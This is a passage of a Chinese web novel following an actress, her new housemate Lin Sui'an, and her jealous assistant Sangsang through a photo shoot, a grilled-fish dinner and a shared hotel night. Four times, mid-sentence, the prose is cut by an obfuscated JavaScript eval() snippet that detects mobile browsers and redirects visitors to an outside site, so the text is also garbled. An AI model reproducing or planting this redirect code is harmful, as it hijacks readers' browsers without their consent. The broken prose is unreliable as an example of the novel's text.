桑桑帮倪杉系好了高跟鞋绑带,两个女孩一左一右站在倪杉身侧,倪杉觉得自己好像个昏君。 她原以为林岁安和桑桑认识之后能成为朋友,没想到她们看对方互不顺眼。 这一套开始拍摄,林岁安走出影棚透气,在空调房里呆久了,就想去户外恢复一下体温。站在门口,她看见了桑桑开来的车。 丰田埃尔法。 这辆车就停在林岁安的小面包车旁边,一黑一灰对比鲜明。 她又往远走了走,这个产业园都是摄影棚,位置很荒凉,明明是在京市,门口却尘土飞扬。 最后两套衣服拍摄很快,等林岁安回去时,倪杉又换了一套衣服,已经准备好要做最后的快问快答和采访了。 林岁安安静地站在角落,听着姐姐对着镜头讲话。 “姐姐的作品有电视剧也有短剧,这两种剧在拍摄中的体验有什么不同?” “其实无论是长剧还是短剧,我都会在开机前认真做准备,我自己本身是没有区别对待的。现在在接触的角色也很有个性,大家可以期待一下。” “请说说你的理想型。” “我喜欢比我年长的,成熟的,能带给我安全感的。” “姐姐平时在家都喜欢做什么?” “追剧,看电影,看小说,玩拼图。”倪杉说着,对着一旁的林岁安眨眨眼。 “有没有推荐给大家的零食?” “零食啊,我最近有在家做爆米花,大家可以自己在家里试试,比电影院卖的好吃。” 倪杉说着,又埋怨地看了一眼林岁安一眼: “哎呀,不过我最近确实是没有克制,有点吃胖了,大家不要学我,吃美食和零食要适可而止。” 把林岁安带回家的这段时间,倪杉觉得自己才是最终受益人。她难得睡了一段时间懒觉,不用担心出门遛狗的事,也不用思考今天的早餐晚饭要怎么办。 今天化妆师还夸她气色好,倪杉心虚地想,自己这段时间并没有用心护肤,面膜敷得很少。 采访结束,倪杉去换回自己的衣服,这个妆她要留着去吃饭的时候再拍几张照。 她看着周围来来往往的工作人员,找到了坐在椅子上发呆的小孩儿: “你今天很安静。” “我觉得你化了妆之后和平日里很不一样。”林岁安抬头看着她说。 “漂亮多了是不是。”倪杉换回了早上出门时穿的衬衫裙,这裙子不太长,刚好露出她纤细的小腿。 “你今天让我觉得很有距离感。” 虽然秦筝一直都在说,但林岁安对倪杉的职业一直都没有太敏感。直到今天,在摄影棚近距离观看倪杉工作,她才明白秦筝的意思。 “你心里觉得有,那就没办法。” 倪杉又伸手去摸林岁安的头,被她躲开: “晚上我带你和桑桑去吃饭,你们想吃什么啊,趁现在赶紧商量好。” 林岁安和桑桑对视一眼,两人迅速移开了视线。 谁也不先开口说我不去。 林岁安其实早就想走了。 一开始来影棚放下倪杉,她就想走。 要不是因为要蹭饭顺便气死桑桑,她也不至于留到现在。一天就这么白白浪费了,她才不要让桑桑太好过。 她看得出桑桑喜欢倪杉,小助理爱上明星 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17299313|198623||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 姐姐,默默陪在姐姐身边照顾姐姐,很好磕。 但现在不行了,姐姐,你的强来了。 “姐姐想吃什么?”林岁安虽然在问倪杉,眼睛却看着桑桑,没错,就是赤果果的挑衅。 “我啊,最近京市有什么不错的新餐厅吗。”倪杉问桑桑。 “姐,有个很火爆的烤鱼,不过需要排队。”桑桑找出图片来给倪杉看,无视林岁安。 “我不想排队。”倪杉摇摇头。 “不会排太久,翻台率很高,我现在线上叫个号,等咱们到了最多等十几二十分钟就能吃到了。” 桑桑叫了号。往常这种工作结束后的放松时刻都是她和姐姐单独出去吃饭的,今天却多了个讨厌的电灯泡。 “烤鱼好啊,我就爱吃烤鱼。”林岁安在一旁开口道。她看到桑桑翻了个白眼,心里一爽。 “哎,姐,你坐咱们自己的车,让她开车跟着吧。” 桑桑先一步打开车门,邀请倪杉上车。 “对哦,还有个车。” 倪杉不想让林岁安落单: “妹妹,你也上我车吧。你这边的停车费算我的,我给你出。” 林岁安本想说不用了,但是她又看到桑桑那不耐烦的眼神,于是改口道:“好啊,正好我也想坐坐保姆车。” 她一上车就迫不及待地对着桑桑说: “哇,好爽啊,这么宽敞的空间,还有司机,哇。” 桑桑平静地坐在驾驶座上,一直在给自己做情绪疏导:不生气不生气,开车不生气,生气不开车…… 林岁安学着倪杉的样子,把座椅靠背放下,几乎可以平躺。 倪杉一上车就习惯性地脱了鞋,蜷缩在椅子上躺下,盖着小毯子。她经常在车上补觉。 “你累不累啊,今天陪我工作了一天。”倪杉躺着没事又开始逗小孩儿。 “累。”小孩儿躺在椅子上冲她眨眨眼,像是在告状撒娇。 林岁安这话是说给司机听的,同时也把自己给矫情到了。 “累!等下就多吃点!我点一个大份烤鱼好不好,多要点配菜,我们三个人吃。”倪杉看着窗外一动不动的车流,才刚开出来没几分钟,她们就被堵在了路上。 京市的交通还是那么水泄不通。 “姐,你每次都点大份,其实你吃得超级少。”桑桑不想让林岁安吃太好,点个小份烤鱼凑合一下得了。 “不会啊,姐姐吃我做的饭一直都光盘。”林岁安说。 桑桑暴躁地按了一下喇叭,火气值飙升。 “我其实现在很饿,这样的拍摄工作还是很累的。”倪杉说着,把手放在小腹上轻轻按摩。 “招牌烤鱼是不是很辣,你胃不舒服,我们点个口味清淡一点的?”林岁安说着,开始查店铺推荐。 “不不不,我就爱吃辣的。”倪杉刚想要侧着躺,又怕一不小心蹭到脸上的妆,她连忙仰面平躺,保护好自己的脸。 “我发现你不化妆的时候,没有画眼线的情况下,眼尾下垂,很像狗狗眼,但又不全是。” 倪杉素颜的样子很柔软很无辜,今天化了妆,整个人凌厉了不少,看上去难以接近。 “真的吗,之前还有一个人也这样说。” 曾沐说,倪杉你是狗狗眼,不笑的时候疏离清冷,笑起来的时候可爱温柔。 “谁?” “不告诉你。” 33. 烤鱼大餐 从进餐厅开始,桑桑和林岁安之间的气场磁场噼里啪啦作响,都要磨出火星子了。 她们的位置是个四人桌,桑桑先一步挽着倪杉坐下,剩下林岁安一个人坐在她们对面。 yes,终于扳回一局。桑桑在心里为自己鼓掌。 林岁安不跟她一般见识,坐对面就坐对面,反正等倪杉工作结束之后,倪杉和我回同一个家。 同一个家,懂吗。 “因为我们是一家人,相亲相爱的一家人~”林岁安一边看菜单,一边哼着歌。 菜单很简单,就是烤鱼而已,各种口味的烤鱼,她还是装模作样地看了半天。 “哎,我跟你说,她特别有音乐天赋,又会唱歌,又会弹琴。”听到她哼歌,倪杉对桑桑说。 “弹什么琴?”桑桑很不情愿地接话。 “钢琴哦,很厉害。你看她的手,从小学钢琴的手和我们普通人的手真的不一样。” 林岁安伸出手,在桑桑面前晃了晃:又白又嫩,修长纤细,每根手指都很优秀。 趁着倪杉没注意,她还竖了一下中指,确认桑桑看到了,她才换了动作。 “你都会弹什么曲子?”桑桑忍着怒气,平静地问她。 显着你了。 “小星星。”林岁安回答说,眼睛却是看着倪杉。倪杉用她的电钢琴弹过小星星。 倪杉笑了。 她给两个妹妹一人倒了一杯酸梅汤,起身去了洗手间。 她当然感觉得到两个小孩儿相互看不顺眼,她们都很有个性,这是很正常的事,一般越是相互看不顺眼的人最终反而会成为关系特别好的朋友,未来会发生什么谁也不知道,她很期待。 倪杉一走,两人彻底不装了,收起好脸色,摆出一张冷脸臭脸面对对方。 “你没发现姐一直管你叫妹妹吗。”桑桑率先发起进攻。 “?不然她要管我叫什么?妈妈?”林岁安惊讶道。 (倪杉:放肆!) “但是她管我叫桑桑。她都不叫你昵称。” 我和姐姐之间的关系要更亲密一点哦,我照顾姐姐、和姐姐一起工作很多年了,我们之间有着很深厚的情谊。 “她不敢。”林岁安淡淡地说。 “什么?” “我说,她不敢管我叫岁岁,你知道为什么吗。” “因为她如果叫我岁岁,我就会叫她杉杉,她很害羞,不想在外人面前被我这么叫。” 和女人抢女人的事林岁安很是不屑,此时此刻,她对倪杉的感情还没有到桑桑这样浓烈的地步………浓烈到产生占有欲,这很不好。 她很想劝劝桑桑,但桑桑那个把自己当情敌的死样子又让她很生气。 谁要让她不好过,她就让谁不如意。 林岁安看到倪杉正朝这边走来,她故意对着倪杉叫道: “杉杉。” “哎。”倪杉本能地回应了。 桑桑的脸好黑,林岁安都闻到味儿了,好像有什么东西烧糊了似的。 “以后出门在外不允许这么叫我。”倪杉在桑桑身边坐下,警告林岁安不要放肆。 “你粉丝都叫你什么?”林岁安明知故问道。她们不都是喊你妈妈吗,而我只是喊了你杉杉而已。 “你可不许叫啊。”倪杉话音刚落,服务生端着烤鱼上菜。 “为什么她们能叫,我不能叫。”小孩儿很不服气。 “我的天哪,她们跟我在生活中又不认识,咱俩每天低头不见抬头见的,这么叫多尴尬。我感觉自己好像被调戏了。” “不对,我感觉自己好像在占小孩儿的便宜。” “这样特别不好,别这样。” “哎,刚刚我不在的时候,你俩聊了什么?” 倪杉试图把桑桑拉进群聊。 “姐,桑桑说她有喜欢的人了。”林岁安盯着烤鱼接话道。 “你胡说!”啊啊啊啊啊啊啊!林岁安我杀了你! “真的假的!我们桑桑要谈恋爱啦!”倪杉笑眯眯地欢呼道。 “不是哦,不是谈恋爱,是单恋,暗恋,对吧桑桑。”林岁安第一个动了筷子,很嚣张。 这是辣条烤鱼,配菜还没好,她先给自己夹了一根辣条。 等锅开了,倪杉夹了一块莲藕到自己的碗里,满脸都是八卦的表情:“是谁啊,我认识吗。是剧组的工作人员?还是圈外人?” 桑桑黑着脸点了头。 是的,你认识。 “但是她喜欢的人不喜欢她哦。”林岁安在一旁补刀。 “你怎么知道人家不喜欢她?”倪杉瞪了小孩儿一眼。 你亲眼看见啦?你亲耳听见了? 林岁安和桑桑对视几秒,笑得很恶劣,一副做了坏事后得逞的欠揍表情,她对倪杉说:“喜欢她的话应该早就在一起了吧。” “那不好说哦,或许人家不知道我们小桑桑的心意呢。” “怕就怕其实是知道的,但是假装不知道。” 林岁安做出一副夸张的表情: “你说这是什么意思?该不会就是婉拒了的意思吧?” “你俩今天不是刚认识吗,怎么就开始聊这么隐私的话题了?桑桑跟在我身边这么多年,从来没跟我聊过感情话题。” “啊?没聊过吗?”林岁安故作惊讶地问道。 “对啊,你没和我说过你有喜欢的人。”倪杉对桑桑说。 桑桑和倪杉说过一些家里事,比如家里的妹妹考上研究生了,比如父亲之前生病做手术了,唯独没聊过喜欢的人。 “我没说,是她猜到的。”桑桑给倪杉往碗里夹了一块鱼肉。 “这都能猜到?不过她确实很聪明,你不是给我买了一套拼图吗,她才几天就拼好了很大一部分,很厉害的。”倪杉打心眼里感到很佩服,她觉得林岁安敏锐又聪明。 “这烤鱼很好吃,难怪会排队。”林岁安听着倪杉对自己的夸奖,心里美滋滋,连忙顾左右而言他地说些有的没的。 在接下来的饭局中,桑桑几乎没怎么说话,都是林岁安和倪杉在聊天。 桑桑在一旁安静地吃饭,听着她们说话,她发现倪杉和这个讨厌鬼确实很聊得来,两人你一言我一语地接住对方抛开的话题,很是投机。 她尽量让自己表现得相对正常,不要流露出失落的气场。 烤鱼很好吃,可桑桑却没什么胃口。林岁安吃得比较开心,看到倪杉好像只吃配菜,她还很精细地帮倪杉挑了鱼刺。 “姐,你不爱吃鱼吗。”桑桑忍不住问她。 “爱吃啊,只是怕麻烦。” “早知道这样还不如换个餐厅。” “没事,挺好的。我这不是也吃饱了吗。”倪杉不以为意地摇摇头。 在结账时,林岁安去了洗手间,收银台前只剩倪杉和桑桑。 倪杉不放心地对桑桑叮嘱道: “桑桑,选恋人不能只看表面,更不能看朋友圈这种欺骗性极强的东西,最理想的状态是先做朋友,通过日常相处来看看这个人是否适合做恋人,知 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17299314|198623||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 道吗。” “你愿意的话,可以让我见见她,帮你把把关。” “不用了。林岁安说得对,她应该不会喜欢我了。”以前不喜欢,以后也不喜欢。 “为什么?” “喜欢她的还有别人,别人,比我聪明,比我优秀,她没理由选择我。” 爱情不是什么先到先得的东西,桑桑眼神复杂地看着倪杉,是她不对,她犯了工作上的忌讳。 可是爱情也不是可以控制的情感,她好喜欢倪杉啊,好喜欢,一天比一天喜欢,她心甘情愿跟在倪杉身边,愿意为她做任何事,工作这件事都因为喜欢倪杉而变得喜欢和期待了。 倪杉之前的角色没了,她的伤心遗憾愤怒不比倪杉要少,甚至更多。 她原本特别盼着这两天在京市的拍摄工作,她有好长一段时间没见到倪杉了,自从倪杉搬家之后,见面就变得很难得,除了工作时间,她和倪杉再也没机会见面。 没想到一进影棚就来了一记暴击:倪杉带来了另一个助理妹妹,白毛,狐狸眼,气定神闲,心灵手巧,聪明机灵,会开车,不挑食,各种优势都很显眼,一下子就把自己给比了下去。 和林岁安相比,自己显得那么平庸普通无趣逊色,一点优势都没有。 桑桑慌了。 慌着慌着,就变成了心如死灰的绝望。 她看得出倪杉和林岁安聊天的时候表情神态都很灵动,她坐在倪杉身边,也能感知到倪杉的开心。倪杉一直在笑,大多时候是微笑,偶尔被林岁安的花言巧语逗得捂嘴笑,甚至还会有些失态地大笑。桑桑在一旁看着,觉得自己这颗心死了一遍又一遍。 林岁安过了很久才从洗手间出来,洗手间排长队,她等了好久,甚至做好了最坏的打算:这么长时间,桑桑这个家伙肯定会劝姐姐把我抛下,两个人手挽手消失在人海。 “接下来是什么安排。”林岁安问倪杉。 “我要去酒店办入住,今天要住一晚,明天还有拍摄。” “你呢,你今晚还要回榆城吗。” 倪杉出门前给一猪铺了一客厅尿垫,启用了自动喂食器。一晚上不回去没关系。一猪不是那种会憋着自己的小狗,因此她不太担心。 “别回了,这么晚了,太折腾。证件带了吧,我给你在酒店开个房间。” 这个时间京市的高速路堵车,林岁安回去肯定要堵一路,等到家后就太晚了。 “不用不用。” 林岁安局促地摆摆手,不想让姐姐花钱。她今天一直在蹭吃蹭喝,已经很不好意思了。 “我自己……我自己找个便宜的青旅住一晚就行,别浪费钱。” 她正拒绝着,忽然看见在一旁的桑桑,这才想起来自己好像还在跟她抢姐姐。 “这不好吧,姐姐。”林岁安故意凑到桑桑身边,扭捏地说。 “那你跟我回房间住也行。我那个房间很大,我让酒店给你加一张儿童床。”倪杉说着,一行人往停车场走去。 “我不是小孩儿。”林岁安感觉桑桑好像被气麻了,整个人一点反应都没有。 “你先跟我回房间看看,安全第一,女孩子出门在外不要住太便宜的宾馆。” “她呢,她不跟我们一起住酒店吗?”小孩儿明知故问。 “桑桑在京市有地方住。” “这样啊。这么一比我好可怜,我都没有地方住呢。”林岁安没完没了。 桑桑一脚油门带着大家飞了出去。 愿世界充满爱与和平。(毁灭吧 34. 同一间房 桑桑原本帮倪杉定了大床房,倪杉在酒店前台换成了双床房。 桑桑把两人送到酒店就走了,林岁安帮姐姐拖着行李箱,跟着姐姐办理入住,又跟着姐姐上楼。 工作了一天,倪杉一进门就倒在床上,恨不得马上睡去。 她是个能量感很低的人,在工作时能做到精神紧绷精力充沛,收工之后,火焰瞬间熄灭了。 林岁安在酒店房间转了一圈,这酒店有大大的落地窗,视野很好,可以俯瞰京市繁华的夜景。 林岁安看着窗外星河璀璨的灯光,不知道什么人能欣赏这样的景象。她只看到众生皆辛苦,在办公楼工作加班的光,在车流中赶路的光, 林岁安把窗帘拉上,挡住了这些光。 她另一张床上坐下,给手机充上电,静静看着倪杉。 这个状态的倪杉,林岁安不是第一次见。 脆弱,不设防,疲惫,美丽,困倦。 精致的妆容氧化褪色,女明星熄灯了。 倪杉把脸埋进枕头里,长发披散,脱了鞋,林岁安觉得此时此刻好像一幅定格的世界名画。 房间很安静,林岁安先去洗澡,留倪杉一个人继续休息。 不知为什么,这个澡洗得人心惶惶,林岁安也不知道自己到底在慌什么,总之就是很不安。 她终于有一个空间和时间来反思自己这一天的种种行为:不应该。 她在影棚不该和桑桑较劲,但是那也是桑桑先看她不顺眼的,是桑桑先对她不友好的,是桑桑先把她当做假想敌的。 她只是见招拆招随机应变罢了,她不想吃亏,不想被人拿捏,不想有人站在她头上得瑟炫耀。 但还是不应该。 桑桑喜欢倪杉,她又不喜欢倪杉,为了让桑桑痛苦,她还是做出了这样的举动:故意亲近倪杉,故意留在房间过夜。 虽然只是很单纯的过夜,但她那些又争又抢又茶的表情在桑桑看来肯定不单纯。真的伤到了桑桑,林岁安心里却并没有那么舒爽好受。 林岁安对着镜子看着自己的样子。她不想做坏人,她做了伤害别人的事,她不开心,不喜欢。 这种不爽本质上是她对人与人之间关系的一种不屑。她不屑伤害别人,也不屑为了什么所谓的爱情又争又抢,她觉得自己好像做了下等人才会做的事。 而这样的行为对倪杉也很不尊重,倪杉不知情,她却利用了倪杉对自己的信任和好意。 倪杉那么好,帮了林岁安很多次,相比之下,林岁安觉得自己简直太糟糕了。 太冲动了,以后可不许再这样了。 林岁安一边吹头发,一边在心里教训自己。 等林岁安调整好情绪从浴室出来,倪杉好像已经彻底睡着了。 林岁安坐在床上,犹豫着要不要把她叫醒。 她选了一种比较温和的方式,点开手机,放了一首歌。 林岁安把音乐声开得大一些,倪杉确实被吵到了,她在床上翻了个身,发现音乐还没有停下。 等到一首歌播完,她终于舍得睁开眼睛。 “你已经洗好澡了吗。” “不好意思,我刚刚睡过去了。” “这是什么歌啊。哼哼唧唧的,听不清歌词,谁唱的。” 倪杉一边说着,一边从床上坐起来又倒下。 起床失败。 “你不想了解我的样子真是太令人着迷了。” “什么?” “我说,歌名是:你不想了解我的样子真是太令人着迷了。”随机播放,歌名很长,因此林岁安停在了这里。 “以后还是听女歌手的歌吧。”倪杉好心建议道,她实在是不知该怎么评论。 “你不觉得这首歌很适合桑桑吗。”林岁安按了暂停键。 “为什么?” 倪杉从床上爬起来,打开行李箱,慢悠悠地找洗漱用品和睡衣: “哎,我感觉今天桑桑有点不开心了。可能是因为聊到感情问题了吧。” “因为她是暗恋嘛,暗恋的人一般都没有好结果。”林岁安在床上悠闲晃着腿,她自己都没意识到自己现在是多么放松,在和其他人共处一室的情况下,她一直都是紧绷敏感的。 “那直白说出来就会有好结果了吗,也未必。不说出来至少还能给自己留个全尸。” 人不过是想求个全身而退。 “告诉对方自己的心意,问清楚对方的想法,至少能死的明白。我只是觉得人没必要为没有结果的感情内耗。” 林岁安说这句话时,倪杉已经走进了浴室,水声响起,林岁安张开双臂躺在床上,切换了一首歌。 “不是所有人对感情都能那么勇敢,也不是所有人都优秀又自信,在被人爱和爱人这件事上游刃有余。”洗到一半儿,倪杉在涂洗发水的时候对外面说。 她也不管林岁安能不能听见,每个陷入暗恋的人都各有各的难处,各有各的难言之隐。 倪杉在浴室呆了快一个小时前,明天还有拍摄,她再困再累也得坚持敷个面膜。 好辛苦啊。 倪杉叹了口气,推开浴室门,就看到在床上打卡学习多邻国的林岁安。 “你这是什么语言?”倪杉听了一会儿,单词和例句都不像是她知道的语言。 “西班牙语。” “西语?为什么学这个?” “学着玩。” “你现在是什么水平?” “初学者,幼儿水平。” “那也很厉害了,有这个毅力你做什么都会成功的。” 学一门完全陌生的语言,如果不是为了拍戏需要,倪杉无法下决心开始。 她学任何新东西都是为了拍戏:学钢琴,学骑摩托,学医学方面的知识。其实这个工作蛮好,让人有机会体验很多不同的人生。 林岁安完成了今日份的小单元通关,退出了app。她已经连续签到一千多天了,每天都学一点点,学没学会不知道,总之是养成了要签到的习惯。 两人各自躺在床上,林岁安闭上眼睛,满脑子都是桑桑离开时沮丧又悲伤的表情。桑桑一直在掩饰着情绪,就那一瞬间没绷住,还是被林岁安捕捉到了。 林岁安很心烦。 和人打交道就是麻烦,会有这种莫名其妙的情绪伤害和情绪压力,还是小狗好啊,小狗一点都不麻烦,永远都给人带来正向的力量和影响。 不知道大黄和一猪在家怎么样了,还有小猫咪们都还好吗。等明早回家 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17299315|198623||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 时,小猫们肯定会对她骂骂咧咧,你有听过小猫骂人吗,没被骂过的人有难了。 倪杉躺在床上,忽然想起自己今天没完成的事: “今晚吃饭的时候净顾着和你们聊天了,都忘了正事。” “什么事。” “我原本要让桑桑帮我多拍一些照片的,今天好不容易带妆,结果全忘了。”说好的拍物料攒物料呢,白白浪费了今天这个妆容,现在卸了妆才想起来还有这档子事。 倪杉懊恼地拍了一下床。 “回榆城也可以拍,我给你拍。”林岁安说。这有什么的,照片这种东西任何时候都可以拍,为什么一定要在京市让桑桑拍。 “你会化妆吗。”倪杉问她。重点不是拍照,而是要带精致的妆拍照,还要做发型。 “会。” “你怎么会?” “女孩子都会化妆,只是在技术上有所不同。” “你技术怎么样?” “你都长这样了,即使技术很差的人都能把你化得漂漂亮亮。” “漂漂亮亮。”倪杉笑着重复这个叠词。 “她给你化过妆吗?”林岁安问她。 “谁?桑桑?” 倪杉想了想说: “那没有。我在剧组都是用剧组的化妆师。” 林岁安在灯下点开某书,紧急搜索化妆教程。 其中有个韩系高智千金妆很适合倪杉,还有一个清水妆也很漂亮,林岁安越看越手痒。 好想试试看啊,搞不好我是一个化妆小天才呢。 “不过你的手很巧,我还蛮信任你的。就这么说定了,回去之后,你给我化妆。” “可是我没有化妆品。”林岁安忽然就有了压力。 “我有,用我的。到时候你根据我的裙子衣服帮我搭配一个合适的妆。” 倪杉说完这句话,伸手关了床头灯、走廊灯,和顶灯: “哎,好了,从现在开始,我们都不要讲话了。” “为什么。” “快睡觉。每次和你聊天我都有点忘乎所以,总是忘了正事。” 也不知道为什么,同样的情况倪杉已经经历好几次了,她躺在床上和林岁安越聊越兴奋,再这样下去今晚都不用睡觉了。 她迅速叫停。 “晚安。”小孩儿乖乖说。 “晚安。” 在黑暗中,林岁安的全部感官都被打开,她清晰地听着倪杉的呼吸声,这种超乎寻常的敏感又来了。 她太过强烈地感知到在这个封闭的空间里有另外一个人的存在,这个人的一切都过于强烈,从呼吸到体温,头发的香气和翻身的动作,林岁安捂住耳朵,想要停止这样的感知。 太吵了,太混乱了,太多信息扑面而来,无法处理,无法接收。 林岁安不知道自己是怎么睡着的,她一晚上断断续续做了许多不太好的梦,春光明媚,躁动得心脏都要出事了。第二天早上五点,她坐起身,再也睡不着了。 倪杉睡得很熟,也许是小孩儿的动作太轻,就像小猫在房间里走动,她没被吵醒。 林岁安换好衣服,洗漱完毕,拿着自己的东西离开了酒店。她坐地铁去影棚取了车,一个人开车回榆城。 35. 照片被狗吃了 等倪杉醒来时,林岁安已经回到了榆城。 她打开家门,大黄就不客气地先走一步,自己遛自己。 一猪像个宝宝一样围着林岁安又蹦又跳,林岁安看了一眼客厅,还好,没有拆家。她拿了牵引绳,带着一猪出门玩。 京市的恶劣磁场让林岁安筋疲力尽,感觉整个人都被吸干了,回到榆城,她顿时觉得自己像是还魂了一样,心情和身体都变得好起来。 两个地方明明只有两小时车程,但磁场完全不同,连空气都不一样。 千言万语汇成一句话,京市真不是人呆的地方。 林岁安接到倪杉打来的语音电话时,一人一狗正站在湖边眺望远方的山景。 夏季的山是一片浓郁的绿,好像流动的绿海,有旺盛的生命力,看的人心旷神怡。 林岁安想,等忙完装修的事,到了秋天,她一定要备着登山包和帐篷独自进山住两天。 秋天是一座山最美的时候,北方的自然环境一年四季都很美,但林岁安最喜欢秋天。 那些从京市带来的浮躁全都被风吹落,就这么站了一会儿,林岁安觉得自己又恢复到理想的状态。 她举起手机,想要拍摄眼前的景象,按下快门后就发现相机并不能捕捉到眼睛所看到的一切细节、氛围和美好。 她昨天在影棚观看倪杉工作时也有一样的感受,倪杉本人的全部光芒和美丽在镜头里并没有被捕捉到,在现场看和拍成照片看完全不一样。 手机响了。 林岁安低头一看,好巧,正是倪杉。她按下了接听。 “你走得好潇洒呀,我醒来以后看到房间没人,感觉自己被渣了。”倪杉的声音懒洋洋的,带着些沙哑,一听就是刚醒。 这小孩儿怎么这样啊,不打招呼就走,倪杉无法理解。 “我走的时候和你说了,但你还在睡,没有醒。” 骗你的,根本没说,我说走就走。 “我的天啊,我竟然睡这么死吗。”倪杉难以置信地说,她自认为自己是个睡眠质量不太好的人,睡得很轻,很容易叫醒。 昨天的拍摄也没有这么累吧,怎么睡这么死。 “谢谢姐姐昨晚请我住店睡觉。”林岁安乖巧地和倪杉道谢,避开了这个话题。 “一猪还好吧,我家还好吧。”离开家一天一夜,说不担心是假的。 “很好。”下一秒,林岁安就打开了视频。 视频中,一猪正在一路小跑着向前冲,时不时回头看一眼林岁安有没有跟上来。 “宝宝,宝宝,早上好。”倪杉心情愉快地对小狗说。 这两声酥酥的宝宝叫得林岁安心都醉了。 一猪停下脚步,歪着脑袋看着林岁安,不明白妈妈在哪里。 倪杉赶紧点开视频,不知道一猪能不能看到自己。 一猪没看到,林岁安却看到了。 倪杉人还躺在被子里,随意地拿着手机,对着自己的脸。 光线昏暗,睡眼惺忪,睡裙单薄,锁骨纤细,这个角度很暧昧,很女友视角,林岁安抿了抿唇,一时不知该如何是好。 她把手机屏幕拿到一猪面前,给一猪看。 一猪不看,一猪开心地跑开了。 “我今晚就回榆城了。”倪杉对林岁安说。 “几点,晚饭我来做,你回来吃饭吧。”林岁安已经在心里合计着晚上要吃什么了。 “嗯……不知道,要等收工之后去高铁站。” “桑桑不送你吗。” 不是暗恋姐姐吗,怎么一点都不知道把握机会啊。你这样到最后能得到什么?nothing! “别了,她只是我的助理,本身也不是我的司机,把我送回来后她还要开车返回京市,太辛苦太折腾。” 倪杉还没醒,今天的拍摄十一点进棚,她还有点时间可以赖床。 “也是。”林岁安还要说什么,倪杉就匆匆挂断了语音电话。 倪杉每次挂电话都是这样,直接简单又粗暴,不寒暄也不客气,没有一丝铺垫。 她还说林岁安不打招呼就走,她自己也经常不打招呼就挂电话。 桑桑提前来酒店接倪杉,时间还早,两人一起在房间点了咖啡和早餐。 桑桑一进门,没在床上看到讨厌的人,她又在房间里转悠了一圈,确定人不在,心里一下觉得好受多了。 “姐,昨晚睡得好吗。” “特别好,好到林岁安什么时候走的我都不知道。” “我发现你和她怎么行为举止一模一样啊,她进房间也是像你这样转悠了一圈,也打开衣柜看了看,检查了浴室,还看了床底下,搞得好像我背着你俩藏人了一样。” 这就是年轻人之间不谋而合的默契吗。 桑桑很自然地帮倪杉整理行李箱,她照顾倪杉都形成肌肉记忆了,眼里有活儿。 “你俩昨天一人一张床睡的吗。”虽然那张空着的床很明显有被睡过的痕迹,桑桑还是这样问了。她紧紧注意着倪杉的表情。 “不然呢。我俩难道挤在一张床上睡?” 倪杉偷偷对桑桑说: “你不知道,林岁安好像有人类亲密过敏症,她不能和人离太近,我每次不小心碰她一下她都下意识躲开。” 转念一想,好像也不全是,林岁安偶尔也很配合,还主动抱过她:“但也可能并没有,就当是她纯纯嫌弃我吧。” “她还敢嫌弃你?”这还得了!我这就杀去榆城找她算账! “她挺特别的,很有个性,和她聊天很有意思。” “但也特别会气人,你昨天跟她聊天的时候应该感觉到了。” “是的!”桑桑深表赞同。林岁安简直是气人高手,她昨晚回家后失眠了一晚上,晚上在床上崩溃大哭,气到现在都没缓过来。 要是有气人大赛,她一定要给林岁安报名。 收拾完东西,桑桑的心情好了许多。 冷静下来想想,她觉得姐姐好像也没有多在意林岁安,只是把林岁安当成一个不怎么重要的人生过客而已。昨天自己的反应确实是有些失心疯了。 她和倪杉在酒店吃着早餐喝着咖啡,聊着小天,又回到了熟悉的安心的两人世界。 “林岁安说你们两个现在每天住一起,为什么?” “她家在装修,刷漆,铺地,我把书放暂时留给她住了。” 原来如此! “那她家什么时候能装修好啊。”我愿意花钱助力她加急处理。 “快了,好像这几天马上要刷完墙了。” “那太好了!” “你这么高兴干什么的?又不是你的家在装修。”倪杉笑了。人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17299316|198623||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 和人之间真的会互相影响,她觉得桑桑好像被林岁安带癫了。 “哎哟,她的家装修好了比我自己家装修好了还要让我开心。” “我认真的,我真心为她好,真心祝福她。” 